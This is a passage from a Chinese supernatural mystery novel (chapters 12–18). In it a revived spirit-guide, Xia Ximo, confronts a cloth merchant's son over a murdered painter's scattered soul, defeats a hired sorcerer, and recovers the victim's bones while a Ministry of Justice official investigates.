在刘掌柜的指引之下,任东行直入花厅,然而进了室内,却空无一人。
案上茶水已然凉透。
这让任东行一头雾水,伙计却指了一下侧门,说道:“那姑娘一声不吭,就往园子里去了。”
为了附庸风雅,庄内专门打造了一座仿江南样式的园林,其间遍植花木,凿了荷塘,还修了假山与亭台。
可惜北地严寒,历经几场风雪摧残,园子里早就光秃秃一片,没了任何生机。
任东行走到廊下,环顾四周,果见一道瘦弱的身影立在园中,只是,在淡融融的月色下,看着有些瘆人。
他忍不住心里的好奇,顺着鹅卵石铺就的小径慢慢走近,那身影也就在月色与雪光之中慢慢清晰。
最终,他看到了一张惨白的脸。
“啊!”
随着一声尖叫划破寂静,任东行几乎一路连滚带爬,跌跌撞撞跑回了花厅内。
刘掌柜闻声而来,望着少东家的样子很是惊诧,“公子爷,您怎么了?”
任东行却是神情恍惚,一屁股跌坐在椅子上,嘴唇抖了抖,才缓缓说道:“我刚刚…像是见着鬼了。”
“……”
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刘掌柜哑然,只得向一旁的伙计吩咐道:“去,去厨房拿碗醒酒汤来。”
“我没醉!”
任东行一把拉住他的袖子,颤声道:“是——死去的珠颜呐!”
“原来她叫珠颜。”
刘掌柜未答,回应他的,是另一道声线清冷的女声。
只见一道瘦弱的身影立在侧门边,整张脸在昏暗之中看不真切,却足以让此刻的任东行吓破了胆。
“是她!她又来了!”
任东行干脆拉着刘掌柜挡在自己身前。
刘掌柜面上一阵青红不停,忍着想要骂人的心,说道:“少东家,您看清楚,这不是珠颜,这是任小侯爷府上的贵客啊。”
又向门外的夏熙墨解释道:“我们少东家才从席上多吃了两杯酒,让姑娘见笑了。”
夏熙墨冷笑一声,从门外慢慢走了进来,她步子又轻又缓,软软的鞋跟,落地无声。
而看到那女子的身影倒映在地上,任东行才算慢慢冷静下来。
大师说过,鬼是没有影子的。
而且,珠颜的魂魄,早就被封印起来了,根本不可能再找上他。
思及此,任东行才敢从刘掌柜身后探出半张脸来。
在室内烛光的映照之下,一个身披粗布麻衣的女子立在厅中,乍看之下,显得落魄,却难掩与生俱来的好姿容。
正所谓“清水出芙蓉,天然去雕饰”,这等气质,绝非勾栏瓦舍里的那些胭脂俗粉可比的。
一瞬间,任东行的眼睛不由得亮了亮,心中的恐惧顿时一扫而光,甚至还多了几分浮想。
他装作若无其事地理了理衣裳,缓缓站起身来,并恢复了往日那般风流倜傥的姿态,浅挑了一下眉头。
“方才,听刘掌柜说,姑娘找我,不知所为何事?”
夏熙墨寒潭一般的眼睛,冷冷将他凝视,片刻后,却低头抚了抚手中的黑色莲灯。
“有一桩**,想找你,当面问清楚。”
此话一出,任东行心里又是咯噔一声,嘴角才浮起的笑意,也跟着瞬间凝固。
第13章 对质
伙计端来醒酒汤,任东行想也不想,直接一饮而尽。
汤汁其实有些烫口,但他却后知后觉,直到,舌尖处忽然变得又麻又钝。
那感觉,就像被人狠狠咬了一口,破了皮,见了血,之后两三个月都将食之无味。
想起那段记忆,任东行忍不住哆嗦了一下,总觉得暗处有双眼睛,正带着怨恨之意,冷冷盯着自己。
“咳。”
刘掌柜的一声轻咳,将他从散乱的思绪中拉了出来。
他只能强作镇定,先将此事撇干净。
“你…方才说什么?本公子听得不是很明白。”
刘掌柜连忙也跟着搭腔,“我想姑娘应该是有什么误会,咱们衣庄敞开门做生意,又怎会与什么**有关联?”
他又笑了笑,接着说道:“再说,任小侯爷现今掌管刑部,最是刚正不阿,哪容得自家人犯上这样的事情?”
一番话,本想点一点对方。
换言之,你虽为小侯爷的客人,我们锦绣衣庄也与他关系匪浅,各自的斤两,还需掂掂才行。
谁知,夏熙墨面不改色,像是根本听不懂他话中含义,冷冷说道:“我只知道,**偿命,我要的是,死者安息。”
任东行的脸色又难看了几分,因心虚而更加没了耐性,索性斥道:“刘掌柜,我看这女子言之无物,根本就是在拿我当消遣,就算她是小侯爷府上的客人,也未免太过于目中无人了。”
刘掌柜立即附和道:“姑娘,我看这其中的误会,也并非三言两语能说清的…”
“眼下夜也深了,不如明日再谈?”
“小人这就备马车,先送姑娘回去休息。”
面对二人的一唱一和,夏熙墨脚下未曾挪动分毫,根本无动于衷。
见状,刘掌柜也慢慢收敛起笑意,语气跟着强硬了几分。
“姑娘,凡事都要讲究一个度,说句不好听的,咱们也是看在小侯爷的面子上,才对你礼让三分,不然…”
他告诫的话未说完,却对上一双幽深的眼睛,瞬间寒毛直立。
那眼睛黑白分明,冷得简直没有一点人味,强烈的压迫感,竟将他嘴边的话,给直接压了下去。
刘掌柜骇然,总觉得无形之中,像是有一股神秘力量,在牵制着自己的四肢百骸,手脚也跟着僵住了。
夏熙墨收回目光,却朝任东行的方向走了几步。
两人距离被拉近,她姣好的面容,也更加能够清晰入眼。
只是,面对这样的一张脸,任东行不敢再有任何的非分之想。
他能感受到的,只是彻骨的寒意,竟比那园子里的积雪,还要冷上几分。
这女子,简直诡异得不像个活人!
“杀死珠颜,用邪术打散她的魂魄。”
“三魂之中,一缕散魂附在画里,一缕在池水中。”
“还有一缕主魂,你把她藏在哪里?”
冷冷的质问,像冰锥一般刺耳。
任东行如同见了鬼,眼底全是不可置信,他连连后退数步,直到后腰抵在桌案边,退无可退。
这事情…她当真知道?
心底的猜疑,让他彻底乱了阵脚,惊惧之下,却只能反问了一句。
“你…你到底是谁?”
夏熙墨亦重复道:“我只想要,死者安息。”
空气仿佛瞬间凝固,室内静得更是可怕。
然而,就在这时,门外却传来一声通报,打破了僵局。
“掌柜的,少东家,小侯爷府上来人了。”
刘掌柜当即回神,如获救命稻草,连忙大声道:“快…快将人请进来呀。”
伙计抬头悄悄看了夏熙墨一眼,却迟疑道:“任管家说,他是奉命来接夏姑娘的,就不进来叨扰了。”
这话倒让夏熙墨有些意外,她来锦绣衣庄,与旁人又有什么干系?
一旁,浮荡在半空中看戏的灯魂无忧,在听到她的心声后,忍不住出声调侃:“你是他府上的客人,他肯定怕你在外面惹事,坏了他的声誉。”
夏熙墨快速扫了它一眼,轻轻皱眉,却对门外的伙计说道:“让他不必等,我自己会回去。”
伙计愕然,简直怀疑自己耳朵出了问题。
什么意思?这不等同于直接拒绝了小侯爷?
这
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姑娘的架子,也未免太大了!
刘掌柜先是吃了一惊,跟着又暗自焦急,心道,这下真是踢到铁板了。
无怪这女子有恃无恐,此事…只怕与小侯爷也有关联!
思及此,他心里更是一阵砰砰乱跳,权衡之下,只得硬着头皮向夏熙墨又赔了一个笑脸。
“姑娘,咱们口说无凭,但皇城之下,王法所在。”
“若锦绣衣庄真有什么**,自会有官府来定夺,您说是不是?”
他只能将话说到这个份上,毕竟事情蹊跷,若真与小侯爷有关,那更是棘手,也绝非自己能力范围之内能够摆平。
但夏熙墨根本不吃这套,她冷声道:“人**一年多,要是官府能出面,何必等到这个时候?”
刘掌柜顿时噎住,正待说些什么,一旁的任东行却陡然暴躁起来,怒道:“一个身份卑微的无名画师,**便**,就算官府来了又如何?本公子难道还怕了不成?”
这口无遮拦的一番话,听得刘掌柜差点没背过去。
偏偏任东行压抑的情绪正上头,心里更没了遮拦,继续向夏熙墨挑衅道:“本公子倒要问问,你又是什么身份?哪里轮得到你来治本公子的罪?”
“少东家!”
刘掌柜再也听不进去,简直恨不得上前捂住任东行的嘴,他强行将人往后拉了拉,无奈道:“我的公子爷呀,这事与你又有什么关系?您可别再乱说话了。”
想到事情闹大,老东家怪责下来,那可真是吃不了兜着走。
眼下,得想办法把面前这尊大佛送走才行啊!
刘掌柜正感到头疼,本斟酌着要说些什么补救一下,却见夏熙墨直接绕过自己,再次走到了任东行跟前。
“既然活人治不了你的罪,那便让**来治。”
她话语简短,声音也依旧冰冷,明明一副瘦弱不堪的身躯,却自带着威不可侵的气势。
任东行被这么冷冷盯着,瞬间气焰全消,张了张口,竟驳不出半个字来。
而这时,一阵阴风拂过,他却在那双如古井一般幽深的眼睛里,看见了一道影子。
第14章 登门
近亥时的夜,夏熙墨才从锦绣衣庄内走出来。
如伙计所言,一辆马车停在门口,管家任丛正在恭候。
“夏姑娘。”
虽等了将近半个时辰,任丛却半点怨色也没有,上前主动替她撩开车帘,又恭敬道:“我奉任大人之命,来接姑娘回府。”
不出意料,夏熙墨也只是淡应一声,毫不客气上了马车。
对此,任丛见怪不怪,待对方坐定后,就驱赶着马车,掉头往府里去。
车声辘辘,在寂静的夜里,显得格外清晰。
路行至一半时,坐在车内的人,却冷不丁防地开口了。
“我只是在府上借住几日,告诉任风玦,不必打听我做什么。”
“就算做了什么,也与他没有任何关系。”
听到这话,任丛赶车的手忍不住一滞,一时竟不知如何作答才好。
在高门大户里待了大半辈子,半生都在与权贵打交道。
磨炼这许久,才洞察世事,学会从半句话里,听出背后的真实意图。
而少有人是这样的,毫不遮掩,连一点弯子都不绕。
“夏姑娘…想是误会了。”
他本想解释些什么,对方却又直接把话接了过去。
“误会了更好,不用解释。”
“……”
任丛无话可说,只得闷声赶车。
半刻钟左右,两人回到了任宅,任风玦并未入寝,而是在书房里等候。
听到动静,他执笔的手慢慢垂下来,而后,便看到了一张隐隐发黑的脸。
显然,任管家又在那女子跟前吃了瘪。
“如何?”
任风玦问着,手中笔却重新蘸了墨,低头望向桌上的案卷。
任丛缓缓吐出一口浊气,说道:“衣庄说,夏姑娘过去,只是为了改衣裳。”
“真只是改衣?”
任风玦略抬了一下眉,多少感到有些意外。
任丛点头,颇有些矛盾的样子,又将事情始末如实禀报,连带着回来路上,夏熙墨在马车上说的话,也一并告知。
在他看来,这事虽然听着蹊跷,但放在那行迹诡异的姑娘身上,倒也合理。
听完,任风玦总算放下手中笔,将半个身子往后一靠,轻喃道:“她倒是一点也不拐弯抹角。”
任丛忍不住低声附和:“我就没见过这么冷漠的人,简直一点‘人味’也没有。”
任大人未语,望向东院客房方向,若有所思。
——
翌日,是难得的一片好晴光。
巳时不到,任宅门前就有人求见了。
但这次,却是个生面孔。
阿春不识,但闻对方自称是锦绣衣庄的人,便喊来了管家任丛。
任丛夜里没睡好,正两眼惺忪,见到厅中坐着一个灰袍长者,却狠狠吃了一惊。
此人竟是锦绣衣庄的老东家——任朔。
这可把任丛吓了一跳。
论起辈分,眼前这位还是任宣侯的堂兄,连任风玦见了,都要尊一声堂伯父。
他怎么突然来造访了?
“任爷,您怎么亲自来了?”
任丛忙不迭上前,心里却很是纳闷。
任朔自三年前开始,便退至幕后,衣庄上的生意全权交给了几个掌柜打理。
听说,两年前又随着一个道人去山上清修,无事基本不下山走动。
他见到任丛,也不摆架子,连忙站起身来,细长的眼睛,带着笑意,又泛着精光。
“是老夫叨扰了。”
任丛连忙给他斟茶,说道:“小侯爷天不亮就进宫了,只怕最早也要未时左右才回来。”
“府上清闲,下人平日也懒散惯了,实在是怠慢了任爷。”
任朔笑了笑,“无妨,小侯爷如今是圣上跟前的红人,哪能轻易得见?”
“老夫今日来,是想见见府上的一位贵客。”
这话让任丛更是听得一愣。
什么意思?
他居然不是为了小侯爷而来?
脑子里思索了一圈,任丛能联想到的人,只有东院客房的那位姑娘。
可任朔为何要见她?
他试探着问:“任爷说的,可是…昨夜里去衣庄上改衣裳的那位姑娘?”
任朔点头,“是,那姑娘姓夏。”
任丛心里咯噔一声,直觉自己上当受骗了
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。
刘掌柜根本没说实话!
那女子去锦绣衣庄绝对不单单只是为了改衣,否则怎会惊动任朔?
这是闯了多大的祸事啊?
任朔端起茶杯,浅浅喝了一口,眼角余光又悄悄打量了一下任丛的脸色,末了又追问了一句:“不知…方不方便请那位夏姑娘出来见见?”
任丛心里快速掂量了一下,又哪敢说一个“不”字?
他苦着脸,故作为难之状,说道:“任爷,夏姑娘是府上的客人,小侯爷不在,小人也不敢擅作主张啊。”
“不瞒您说,这位姑娘初到京城,不懂礼数,性子实在古怪,小人…也不知能否请得动。”
任朔放下茶盏,面上笑得倒是一团和气,“这位姑娘姓夏,老夫大概也能猜到她的身份,既然都是一家人,倒也不必拘于这些礼数。”
“你就去将老夫与小侯爷的关系告知,便是了。”
任丛暗自叫苦,心道,就算这夏姑娘与小侯爷有婚约在身,要见也是先见侯爷和夫人,哪里有先见堂伯父的?
但他也实在不好拂了这位大老爷的面子,当下只能应了一声,就硬着头皮来到东院。
客房门前,夏熙墨将一把椅子摆在院子中间,正靠着椅背闭着眼睛晒太阳。
走近些,只见她手里还拿着一盏古怪莲灯,不知为何物。
这悠然自得的姿态,看样子是一点也不把自己当外人。
任丛瞅了一眼她手中的“丑东西”,掩着嘴角轻咳了一声,又打了个招呼:“夏姑娘。”
闻声,夏熙墨才抬起眼皮,懒洋洋地看了对方一眼。
架子很大,也并不打算起身。
任丛不予计较,直言道:“府上来了位客人,想见姑娘一面,现下正在厅里坐着,不知姑娘是否介意走一趟?”
“是锦绣衣庄的人?”
本只是想试探一下,但这回答又让任丛暗自吃了一惊。
“是,是衣庄的老东家。”
“嗯。”
夏熙墨淡应一声,却又闭上了眼睛,说道:“我不见他,除非,他愿意主动将那桩**,给我了结了。”
第15章 猜疑
这莫名其妙的一句话,让任丛根本毫无头绪。
什么**,什么了结?
这姑娘莫不是在说胡话?
杵在原地的任丛,再次吃了瘪,他挠了挠头,还是忍不住多问了一句。
“姑娘…这话又是什么意思?”
夏熙墨却是眼皮也不再抬,一张清冷的脸迎着阳光,因过于苍白,而显得有些虚弱。
只是,说出来的话,依然不留情面。
“你不用知道太多,把我的话告诉他就行。”
任丛犹豫片刻,也算知道了对方的态度,于是又折回厅内,硬着头皮将“请不动”的结果,告知给了任朔。
对此,任朔似乎并无太多意外,面上神情不改,只是眸色暗了暗,问:“那夏姑娘,可有带什么话?”
这下又把任丛给问住了。
他总不能…真把刚刚那话给说出去吧?
“这…”
任丛平生第一次恨自己长了嘴,但见任朔眯了眯眼睛,就知道此话是非说不可了。
“夏姑娘说的话,有些奇怪,她只说,要把什么**给了结了…”
闻言,任朔的面色也瞬间阴暗了下来。
——
任风玦照例在酉时左右回到府上。
但这次进门后,却是任丛赶在阿春之前迎了过来,替他接过手中的乌纱帽。
见此,他大概能觉察到今日之事非同一般了。
“听说白日有人来拜访了?”
“是什么人?所为何事?”
任丛憋了一整天,就等着任大人回府,此时被问话,连忙一股脑就全说了出来。
听完事情经过,任风玦也有些诧异。
堂伯父此人,表面看着和善,其实城府极深,此趟下山,竟只为见一个初到京城的女子?
不对,肯定是发生了什么事。
而且,一定与自己那游手好闲的堂弟有关。
任风玦思忖片刻,便向任丛吩咐道:“你去锦绣衣庄走一趟,仔细打听一下他们少东家的情况。”
任丛一听就明白。
任大老爷向来宠溺自己的独生爱子,能惊动他老人家的事情,多半也与此有关。
当下也不多问,直接打听去了。
而任风玦则暂缓公务,又回房换了一身常服,之后却独自来到东院客房。
此时,夕阳西下,院内只剩一片余晖。
昏黄的光晕里,一道瘦弱的身影,正靠在椅子上一动不动,像是熟睡了一般。
看到这幕时,任风玦脚下一滞,微微讶然。
眼下这个时辰,四下寒意渐浓,那女子一身单薄,竟还能睡得如此安稳?
她是当真不怕冷?
任大人一阵犹豫,还是刻意加重了脚步声,缓缓靠近。
对方依然毫无知觉。
“夏姑娘。”
无奈之下,任风玦只得低唤一声。
熟睡中的人,总算动容,见她双睫轻颤,似乎有些费力地睁开了眼睛。
“你…”
他启唇,话未出口,对方却倏地伸出一只手,猝不及防抓住了他的衣袖。
过于冰冷的触感,让任风玦怵然一惊,下意识想要后撤,怎料随即又被扣住了手。
“你别动。”
对方也不知是何用意,只是声音听起来有几分虚弱与喑哑。
任风玦这才发现,她苍白的脸上几乎不见一丝血色,连带着嘴唇,都白里透着青。
这情况,看着有些不对劲!
于是,原本想要抽离的手,只能被迫僵在半空中。
“你生病了?”
一晌失神,他才想到什么,于是提声道:“来人!”
只是,连唤几声,并无人回应。
任风玦这才反应过来,这里不是侯府,没有府医,自己也向来清静惯了,不喜人贴身伺候。
眼下任丛临时出了门,剩下“春夏秋冬”四名仆人各有差事,一时也不可能赶过来。
他轻蹙了一下眉头,倒也顾及不了太多,正要俯身将那女子从椅子上抱起时,却又吃了一惊。
不过一霎之间,对方的脸上,居然恢复了一些红润,连带着那只冰冷的手,也多了一点温度。
这让任风玦都有些怀疑,难道刚刚只是眼花了一下?
夏熙墨感受着那股熟悉的纯正之气,在体内游走,源源不断的暖意,让原本僵住的身体,也一点点恢复了知觉。
魂识归
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位,神清气爽。
果然,晒了一整天的太阳,都比不上眼前这个男人“好用”。
“我没有生病。”
片刻贪恋,她还是松开了那只温暖的手。
任风玦闻言,不由自主后退了两步,却忍不住说道:“天要黑了,院子冷,你穿得单薄,还是先去屋内。”
“不用。”
夏熙墨看了他一眼,问:“你找我有什么事?”
任风玦这才想到自己的来意,亦直言道:“白日我堂伯父来过一次,你与他之间,可曾相识?”
“不认识。”
任风玦顿了一下,又问:“那你口中所说的**,又是什么?”
夏熙墨冷冷看了他一眼,态度决绝。
“这事,也与你无关。”
面对如此不客气的回话,任大人也微愣了一下,莫名就理解了任丛每次办事回来,都黑着一张脸。
他不由得一笑,“这事确实与我并无直接关联,但你我之间婚约未除,若你身上沾了什么命案,我也逃不了干系的。”
夏熙墨却不驳他的话,只将话题一转,“你说过,三五日后便有回音,今已是第三日,最多还有两日,你我之间,便无瓜葛。”
她说着,也不理会任风玦还有什么话说,起身就朝客房内走去。
任风玦留意到她手中拿着一盏莲灯,通体黑色,透着古怪,倒不知有何作用。
他一番话酝酿在嘴边,心里忽然多了一片疑云。
夏熙墨如此着急要与自己撇开关系,难道与任东行有什么纠缠?
看来这女子来京中的意图,确实不简单。
当天夜里,一只信鸽从南边儿飞来,带来了西泠县的近况。
瑶光在信上说,穆府近日只发生了一件怪事。
数日前,穆夫人投案入了狱,当晚便在牢中自缢身亡。
前后因由,无从得知。
任风玦看完信件,不禁陷入了沉思。
前后的时间线,恰好是夏熙墨来京之前发生的。
那穆夫人之事,是否也与她有关?
而这时,任丛也从锦绣衣庄带回了一个令人震惊的消息。
任东行莫名得了疯病。
第16章 引蛇
东院客房,一灯如豆。
夏熙墨正盘腿坐在椅子上闭目养神。
灯魂无忧浮荡在一旁,则托着腮打量她,“你这人好生奇怪,放着软绵绵的床不睡,却喜欢这么直挺挺坐着…”
“这肉身给你,也实在委屈…”
床上被褥整齐,无一丝褶皱,显然这些天都没有被用过。
她还不习惯躺着睡觉。
模糊的前尘记忆里,好似一直都是这样。
如今短暂还阳,也就延续着旧时习惯,并不想改。
无忧也习惯了她惜字如金,得不到回应,便自行飘到床榻躺下,甚至还佯装舒展了一下魂体。
“你现在的躯体阳气太弱,还是少动用一些魂力为妙,不然魂魄一散,可就麻烦了。”
闻言,夏熙墨才慢慢睁开眼睛。
昨夜,她用魂力将珠颜一缕散魂打入了任东行的眼睛里,以此封住他的五识。
这么做,是为了引出他背后的阳间术士。
但她确实高估了自己这具魂体不融的躯壳,若非任风玦意外出现在东院,她估计一时半会儿还真恢复不了。
念及此,夏熙墨眉头轻蹙。
她向来不喜欢约束与牵扯。
而今,躯体的约束,以及凡人的牵扯,便是她在阳间的桎梏。
与九幽时,架在手脚上的枷锁,并无区别。
阴司规定,她此番还阳,在人间的寿命只有三年。
三年时间,除了要渡三十二缕阴魂之外,还要完成原身的三桩未了之愿。
否则她的魂魄与这具躯体,便无法完全融合。
眼下,三桩遗愿,已去两桩。
剩下一桩,看似简单,实则牵扯太多,或许并不容易…
繁琐的人间事,反而比鬼魂更加复杂。
门窗忽在这时震动了一下。
跟着,一支不明物迅疾破窗而入,直接钉在了墙壁上。
夏熙墨微眯眼睛,细看之下,竟是一支朱砂法笔,还附了一张画有符箓的纸条。
无忧被这阵仗吓了一跳,正要躲入灯中,却听见她说道:“不过是阳间术士虚张声势的障眼法。”
“……”
她走到墙边,掠了一眼那纸条上的字迹,却拿起渡魂灯转身出了门。
无忧不明所以,只得跟了上去。
一人一魂,很快便消失在融融夜色中。
——
南院书房内。
听完任丛从衣庄带回的消息,任风玦眉头深锁,才知事情复杂。
任东行突发疯病,必然与夏熙墨有关。
只是,任他如何猜想,都想不通这其中的种种关联。
实在太过蹊跷。
或许,得自己亲自走一趟才行。
念头一起,他正打算让任丛安排马车,一道身影忽然出现在窗外。
“公子,有外人闯入府内,在东院方向消失了。”
是仆人阿冬。
任风玦直觉不妙,立即往东院客房赶去。
待赶到时,只见房门敞开着,室内还点着灯,却不见人影。
任丛率先一步上前,轻叩了一下房门,确定无人,才踏了进去。
“公子,人又不见了…”
任风玦跟着走进室内,环顾四周,目光倏地停在一处,眼神凝重。
顺着他的视线,任丛也发现了墙上之物。
“那里…为何会有一支笔?”
任风玦不语,径自上前,将诡异的朱砂笔及符纸,从墙上取下来。
然而,才看清纸上字迹,纸笔便瞬间化作了一把黑灰。
“公子!小心!”
任丛一惊,只当是什么邪术,正要护主。
任风玦却一脸淡定扬去手中灰,“无碍,只是术士的障眼法。”
他在刑部多年,已着手处理过不少诡案,对于民间术法,多少有些了解。
任丛稍稍松了口气,却又后背一凉。
“这女子…怎还会术法!”
任风玦神色凝重,没有解释,只吩咐道:“即刻去一趟锦绣衣庄。”
——
锦绣衣庄依然大门紧闭。
但与昨夜情形不同的是,不等夏熙墨上前敲门,那朱红大门便自行从里面打开。
四下无人接应,直透着一股诡秘之气。
无忧从灯内探出半个头来张望一番,又伸长鼻子嗅了嗅,说道:“有危险,你得小心点。”
夏熙墨不语,甚至连脚下的步子,都不曾停顿。
她绕过影壁,来到前院,借着朗朗月色,只见一名灰袍道人立在
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院中。
这阵仗,倒像是恭候多时了。
夏熙墨冷眸一扫,开门见山地问道:“你便是打散珠颜魂魄的术士?”
灰袍道人不答话,却凝神将她打量,眼底漫过一丝疑惑。
忽又抬起持拂尘的手,掐指喃喃,眉头也跟着蹙起。
片刻后,他却开口反问:“你究竟是人是鬼?”
夏熙墨面色淡淡,又往前走了几步,“还以为你有几分道行,连我是人是鬼都算不出?”
灰袍道人冷哼一声,拂尘自胸前横扫而过,虚空画符,抬手捏诀。
顿时,只听见铃铛作响,原本平稳的地面,猛然颤动起来。
夏熙墨低头,见脚下起了一套法阵,由几十条密密匝匝的红色绳索衔接而成,组成一道符箓,将她困在其中。
随着道人默念术语,铃声大作,金光攒动,绳索灵巧如蛇,骤然收紧,又死死缠住了她的手脚。
见她受制,一直站在暗处看戏的任朔,这才露了面。
“夏姑娘,老夫多有得罪了。”
他一脸和善,泛着笑意,语气也客气。
唯有那双细长的眼睛里,隐隐藏着寒芒。
“白日去小侯爷府上请你不动,这才不得不出此下策。”
“说起来,你我迟早是一家人,大可不必闹得这般生分。”
“你只要肯答应放过我儿,不再追究那画师之事,老夫也会看在小侯爷的面子上,不予计较。”
一番话说完,原以为被困在阵法中的女子,会有所动容。
毕竟,她看起来那么羸弱不堪,不像有一丝反击之力的样子。
然而,一记眼神扫过,却令人心头一震。
“不行。”
夏熙墨开口,冷冷吐出两个字,是一点情面都不给。
即使身困阵法之中,手脚被制,她的脸上依然不见一丝惧色。
反而,还带着几分居高临下的魄力。
任朔生平阅人无数,却从未在任何一个年轻女子身上,见过这样的眼神。
他哑然片刻,心底也被激起层层怒意。
然而就在这时,刘掌柜匆忙从内苑跑出来,直呼道:“老爷,不好了,公子他…他…”
“公子他…咽气了!”
第17章 尸骨
听到任东行咽气的消息,任朔面色骤变,也顾不上再与夏熙墨周旋,转身就朝内苑赶去。
灰袍道人见状,略一迟疑,转身正要跟上,却突然被一股怪异的力量绊住腿脚,动弹不得。
他讶然回头,只见阵法中的女子,竟已挣脱绳索牵制,并朝自己走了过来。
见状,他执起拂尘,正要捏诀画符,双手竟也僵住,无法施展。
而那股诡异的牵制力,便如一道密不透风的网,瞬间笼罩了全身,让他再无反击之力。
道人自知不敌,不禁心生慌恐。
“你…究竟是人是鬼?”
若是人,为何她周身弥漫着浓郁的阴气,几乎盖住了活人的气息?
若是鬼,她又为何能毫发无损破了“锁魂阵”?
夏熙墨不答他的话,依然步步紧逼。
明月之下,她身影单薄,形似鬼魅,却又明显比鬼魅危险万分。
她的面容,在道人的瞳孔之中逐渐清晰。
明明还是一张不谙世事的稚嫩面庞,却教人不敢直视。
“珠颜的主魂在哪里?”
眼睁睁看着对方一步步走到自己跟前来,道人心中的惊惧之意,顿时溢满眼眶。
他不懂对方为何如此执意要找一个无名画师的魂魄?
为那样一个卑微之人,而得罪权势滔天的任家。
她能有什么好处?
“人既然都已经**,为何还抓着此事不放?你与她…究竟是什么关系?”
道人心有不甘,斗胆问了一句。
然而,夏熙墨的回答,再次令他愕然。
“没有关系。”
她的眼神,比这冬夜的霜月还要冷,简直渗人肌骨。
“活要见人,死要见魂,仅此而已。”
道人闻言,却忍不住哆嗦了一下,连忙回道:“她的主魂,现在后花园的桃树下,与她尸骨一起,只…要揭开上面的符纸,就能立即放出来。”
不等对方回话,他又急着为自己分辨:“但此事与我无关,我也只是收钱办事,人并不是我杀的,你可千万别迁怒于我…”
夏熙墨一脸漠然:“带我过去,你亲手挖出来。”
察觉到那股缠绕在身体上的牵制力消失,道人腿脚一软,险些跪下。
他不敢耍花招,当即踉踉跄跄就往前引路,很快就来到了珠颜的埋骨之地。
冷月映照之下,“桃树”仅只剩了一节主干,底下残雪堆积,不知原貌。
道人找准位置,开始用铁锹掘地,没过一会儿,便挖出了一具尸骨。
然而,就在他准备上前揭去符咒时,身后却传来动静。
二人回头,只见任朔领着一群衣庄护卫迅速包围了过来。
十几名护卫皆是腰间挎刀,光看阵仗,还以为庄内进了匪盗。
而向来惯作慈眉善目的任大老爷,此时也是眼眶通红,通身戾气。
“把这妖女抓起来,我要她给我儿陪葬!”
任朔一声令下,护卫们拔刀而出,齐齐逼向树下,却对上一双幽深的寒眸。
面对雪亮的刀刃,她毫无惧色,显然并未将这些威胁放在眼里。
护卫们一时竟被她给震住。
紧接着,一团诡异的白雾飘荡而来,绕人群一周后,竟让护卫的刀刃,齐齐脱手而去。
白雾随即散去,化作一抹白影浮荡在夏熙墨身侧,提醒道:“你现在阳气弱得很,不能再用魂力了。”
凡**眼看不见魂体,更听不见声音,护卫们怔在原地,只能面面相觑。
“一群没用的东西!”
任朔才经丧子之痛,已然失了理智,他就近拾起一把刀,便快步朝夏熙墨挥去。
然而,那锐利的刀刃尚未靠近她的身体,便有一股阻力拦在刀刃之下,任他如何用力,都动不了分毫。
这过于诡异的一幕,也让任朔恢复了一些理智。
他抬眸望去,却被眼前的景象吓得气焰全消。
只见一团黑影,附在夏熙墨身前,替她挡住了刀刃。
活了这把年纪,也不是没见过鬼。
甚至去年冬日里,他还亲眼见过化作厉鬼的珠颜…
可眼前这抹黑影,是由至阴至恶的黑煞之气凝聚而成,绝非一般厉鬼能比。
怔忡之间,一道清朗的男声忽
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从人群外传来:“住手!”
黑影应声而散。
任朔脚下一个趔趄,似被什么东西击中手腕,逼得他弃去手中刀。
护卫们闻声纷纷散开,忙不迭跪成一排。
“见过…小侯爷。”
任朔这才意识到麻烦,慌乱间,连连后退了数步,却依然心有余悸。
任风玦三步作两步,迅速穿过人群,走到跟前来。
“这位夏姑娘是侄儿府上的客人,即便是有什么得罪到堂伯父的地方,也该先向侄儿说明才是。”
“堂伯父这又是做什么?”
面对质问,任朔心虚不已,一时之间,有口难辩。
他知道这位身在刑部的小侯爷向来刚正不阿,一旦真发生什么事,未必会给自己面子。
眼下情形,地里的**尸骨,皆已构成凶案现场。
而十几名护卫围聚在此,自己拔刀相向,还全被对方看在了眼里。
一时半会儿,确实难以撇清关系…
老狐狸在心里快速盘算着,干脆一不做二不休,生生挤出一行眼泪,满脸悲愤:“冬郎你来得正好,这女子…在此施展邪术,害**你弟弟啊…”
“你可一定要为你弟弟做主啊!”
说话间,他竟直接跪在了地上,涕泪交加。
任风玦听他喊自己乳名,心里已是不悦,又一口一个“你弟弟”,显然是想以两家关系来架住他。
他故意不接话,目光四下一掠,将土里的尸骨收进眼底。
随后,他又看了夏熙墨一眼。
见她惨白的脸上不见一丝血色,单薄的身躯立在夜风中,竟有些摇摇欲坠。
意识到情况不太对,任风玦便朝她靠近了几步。
“夏…”
话未问出口,人便轻飘飘地跌进他的怀里。
任风玦眼疾手快,连忙伸手抱住她,却又怵然一惊。
怀中的身体,冷得简直不像话…
他深知不能耽误,立即将人拦腰抱起,正色道:“事情尚未查明之前,任何人不得离开此地。”
又向随行的任丛吩咐道:“去请府医,另外,速让余琅来一趟。”
第18章 盘问
花园内,随着任风玦身影远去,忽有一阵阴风平地而起,卷走了尸骨上的符纸。
封印被悄无声息地解除。
随即,一阵缥缈的笑声,在众人耳畔轻轻擦过。
任朔只觉得后背发凉,猛然回头时,竟见地下的白骨,如活过来一般,立在众人身后。
四下里立即爆发出一阵刺耳的惊叫声。
——
余琅被传唤至衣庄前,还以为庄内发生了什么惊天凶案。
抵达后,见到现场情形,却感到一阵头疼。
准确来说,不是什么大案子,却**两个人,死因各有蹊跷。
一具从地下挖出来的尸骨,**至少有一年,身份为庄内画师,死因尚且不明。
另一死者却是少东家任东行,经查验,他是被活活吓死的。
这二者之间是否有关联,一时还真说不清。
而最令人头疼的一点,是庄内众人个个咬定闹鬼,声称老东家任朔就是被这只“厉鬼”吓得当场晕厥了过去。
场面一度混乱不堪。
余琅忙了将近两个时辰,天都快要亮了,也没理出个头绪来。
他只得暂且封锁衣庄,将相关疑犯关押,这才打算找任风玦汇报情况。
另一边,请来的府医替夏熙墨诊断后,面色变得颇为凝重。
“小侯爷,可否借一步说话?”
他是任丛直接从仁宣侯府请来的老医师,已效劳侯府多年,论医术,在京中也排得上名号。
任风玦还是头一次在他脸上看出了“为难”之色。
“张医师不妨直言。”
张医师是个明眼人,心里已经猜测出这女子与小侯爷关系匪浅,又悄悄掂量了一下,才说道:“以这位姑娘的脉象来看,只怕是…凶多吉少。”
闻言,任风玦也吃了一惊。
他虽亲眼看见任朔拿刀刺向夏熙墨,但可以肯定的是,当时的刀刃,绝对未伤及到她分毫。
甚至在她身上,都不见一处外伤。
